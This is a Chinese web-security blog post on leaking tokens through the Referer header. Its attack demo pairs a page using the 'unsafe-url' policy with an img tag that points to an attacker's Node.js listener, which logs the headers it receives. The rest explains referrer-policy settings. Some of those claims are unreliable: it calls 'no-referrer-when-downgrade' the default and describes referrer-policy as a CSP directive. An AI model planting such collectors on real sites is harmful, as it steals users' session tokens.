title: 数据包referrer头中敏感信息的窃取
date: 2025-05-06 13:23:03
tags:
- Referer-Policy
- 信息泄露
categories: - Web安全
前言
在我们日常漏洞挖掘的过程中,可能会碰见数据包中的referer
带有一些信息的情况,如token
、sessionid
,key
和phoneNumber
等,对于这些信息,攻击者会如何去攻击获取呢?这里攻击者可以使用img
标签去进行信息的窃取。
场景如下:
A
为url
,其值为https://test.com/index.html?token=xxxxxx
,当我们访问A
时进入到的页面为B
,B
的html
中有一个<img>
标签,这个标签的src
属性是我们可以随意控制的,且这个B
页面启用了unsafe-url
。
默认情况下,unsafe-url
是不启用的,不启用时默认referer
的内容为协议、主机名和端口,不携带参数,这是Referrer Policy
,后面我会提到。
真实环境场景:
一切<img>
标签的src
属性可控的点都有可能。
例如:
- 论坛站点,用户的头像
url
可控,对应于img
中的src
可控。 - 视频播放站点,存在评论区,用户头像
url
可控。
攻击场景演示
攻击效果: 受害者会带着自己的
token
,就是这里的A
,访问到页面B
,B
中的img
标签的src
属性我们可控,设置为攻击者监听数据包的脚本,监听的数据包中包含有敏感信息的referer
,进而实现信息的窃取。
下面来演示一下敏感信息的窃取。
A
为URL
:http://127.0.0.1:3000/index.html?token=xxxxxx
B
为这个index.html
页面,其中img
标签的src
属性我们可控,其页面启用了unsafe-url
。
B
的index.html
页面如下,其中的http://127.0.0.1:3001/logo.png
为攻击者嵌入的监听数据包脚本。
<!DOCTYPE html>
<meta name="referrer" content="unsafe-url">
<html>
<head>
<title>Logo</title>
</head>
<body>
<h1>Logo Picture</h1>
<img src="http://127.0.0.1:3001/logo.png" alt="Logo Picture">
</body>
</html>
这个http://127.0.0.1:3001/logo.png
的后端nodejs
脚本main.js
如下:
const http = require('http');
const url = require('url');
const hostname = '0.0.0.0'; // 监听所有可用的网络接口
const port = 3001; // 您希望服务器监听的端口
const server = http.createServer((req, res) => {
const parsedUrl = url.parse(req.url, true);
const pathname = parsedUrl.pathname;
if (pathname === '/logo.png') {
console.log('-------------------- 请求详情 --------------------');
console.log(`请求方法: ${req.method}`);
console.log(`请求 URL: ${req.url}`);
console.log('请求头:');
console.log(req.headers);
console.log('--------------------------------------------------');
res.writeHead(200, { 'Content-Type': 'image/png' });
// 在这里您可以实际读取并返回一个 logo.png 文件
// 为了演示,我们发送一个简单的透明像素 GIF
const transparentPixel = Buffer.from('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7', 'base64');
res.end(transparentPixel);
} else {
res.writeHead(404, { 'Content-Type': 'text/plain' });
res.end('Not Found');
}
});
server.listen(port, hostname, () => {
console.log(`服务器运行在 http://${hostname}:${port}/`);
console.log(`请访问 http://${hostname}:${port}/logo.png 查看请求详情。`);
});
攻击者在自己的vps
上运行脚本main.js
,受害者访问到的页面为``http://127.0.0.1:3000/index.html`。
本地使用python
启动一个HTTP
服务,模拟受害者访问的页面。
在index.html
同目录下执行命令python -m http.server 3000
,此时攻击者node main.js
启动监听脚本。
此时受害者访问到A
,受害者的token
成功被攻击者窃取。
再来看一下不启用unsafe-url
的情况。
修改index.html
为index2.html
如下,切换为默认情况。
<!DOCTYPE html>
<!--<meta name="referrer" content="unsafe-url">-->
<html>
<head>
<title>Logo</title>
</head>
<body>
<h1>Logo Picture</h1>
<img src="http://127.0.0.1:3001/logo.png" alt="Logo Picture">
</body>
</html>
此时访问http://localhost:3000/index2.html?token=xxxxx
,这里发现referer
中的token
就会消失了。此处测试使用的浏览器为Chrome 135.0.7049.115(正式版本) (arm64)。出现这种情况是由于referrer-policy
的关系。
Referrer-policy
介绍一下 referrer-policy
。它是一个 HTTP 头部,用于控制在用户导航到其他网页时,浏览器在 HTTP 请求的 Referer
头部中发送哪些信息。Referer
头部包含了前一个页面的 URL,这对于分析用户来源、安全性和内容定制等方面非常有用。然而,出于隐私和安全考虑,开发者可能需要限制甚至完全阻止 Referer
信息的发送。referrer-policy
就是为了实现这种控制而生的。
为什么需要 referrer-policy
?
- 隐私保护: 有些页面的 URL 可能包含用户的敏感信息(例如,会话 ID、用户名等)。不加限制地发送
Referer
可能会泄露这些信息给第三方网站。 - 安全性: 恶意网站可能会利用
Referer
信息进行某些攻击,例如跨站请求伪造(CSRF)的变种。 - 数据分析的精细化控制: 开发者可能希望更精确地控制哪些来源信息可以被分析工具收集。
referrer-policy
的取值
referrer-policy
头部可以设置多个不同的值,这些值定义了在不同场景下 Referer
头部应该如何发送。
以下是一些常见的取值及其含义:
no-referrer
: 这是最严格的策略。无论在任何情况下,都不会发送Referer
头部。no-referrer-when-downgrade
: 这是默认策略。只有在从HTTPS
页面导航到HTTP
页面时,才会不发送Referer
头部。在其他情况下(例如,HTTPS
到HTTPS
,HTTP
到HTTP
,HTTP
到HTTPS
),会发送完整的来源URL
。这个策略旨在防止HTTPS
页面上的敏感信息通过不安全的HTTP
连接泄露。same-origin
: 只有当目标网站与当前网站具有相同的源(协议、域名和端口都相同)时,才会发送完整的Referer
头部。对于跨域请求,不会发送Referer
头部。origin
: 在任何情况下,都会发送来源的协议和主机名(不包含路径和查询字符串)。例如,如果当前页面是https://example.com/page.html
,那么Referer
头部的值将是https://example.com/
。strict-origin
: 与origin
类似,但在从 HTTPS 页面导航到 HTTP 页面时,不会发送Referer
头部。origin-when-cross-origin
: 对于同源请求,发送完整的Referer
头部。对于跨域请求,只发送来源的协议和主机名。strict-origin-when-cross-origin
: 对于同源请求,发送完整的Referer
头部。对于跨域请求,只发送来源的协议和主机名。并且在从 HTTPS 页面导航到 HTTP 页面时,不会发送Referer
头部。unsafe-url
: 这是最宽松的策略。无论在任何情况下,都会发送完整的Referer
头部,包括协议、主机名、路径和查询字符串。强烈建议避免使用此策略,因为它可能会暴露敏感信息。
如何设置 referrer-policy
?
设置 referrer-policy
有几种方式:
- HTTP 头部: 这是最常用和推荐的方式。服务器在 HTTP 响应头中添加
Referrer-Policy
字段并设置相应的值。例如:
Referrer-Policy: strict-origin-when-cross-origin
- HTML
<meta>
标签: 在 HTML 文档的<head>
部分使用<meta>
标签设置referrer-policy
:
<!DOCTYPE html>
<html>
<head>
<meta name="referrer" content="strict-origin-when-cross-origin">
</head>
<body>
</body>
</html>
- HTML 元素的
referrerpolicy
属性: 为特定的<a>
,<area>
, 和<form>
元素设置referrerpolicy
属性,覆盖全局设置:
<a href="https://example.com" referrerpolicy="origin">Visit Example</a>
<form action="https://anothersite.com" method="POST" referrerpolicy="no-referrer">
</form>
- 在
AJAX
中配置referrer-policy
: 对于通过JavaScript
发起的AJAX
请求:
-
使用
fetch
API: 在fetch
请求的配置对象中,使用referrerPolicy
选项设置特定的策略。例如:fetch('/api/data', { method: 'GET', referrerPolicy: 'origin-when-cross-origin' }) // ...
此设置会覆盖全局的
referrer-policy
。 -
使用
XMLHttpRequest
:XMLHttpRequest
本身没有直接的referrerPolicy
属性。你需要依赖全局的referrer-policy
设置(HTTP 头部或<meta>
标签)。
- 在内容安全策略 (CSP) 中配置
referrer-policy
:
referrer-policy
可以作为 CSP 指令的一部分在 HTTP 响应头或 HTML <meta>
标签中设置。
- HTTP 头部中的 CSP:
Content-Security-Policy: referrer-policy origin-when-cross-origin
- HTML
<meta>
标签中的 CSP:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="referrer-policy origin-when-cross-origin">
</head>
<body>
</body>
</html>
在 CSP
中设置 referrer-policy
会强制整个文档及其发起的请求遵循该策略,但会被更具体的设置(如 fetch
API 中的 referrerPolicy
或 HTML 元素的 referrerpolicy
属性)覆盖。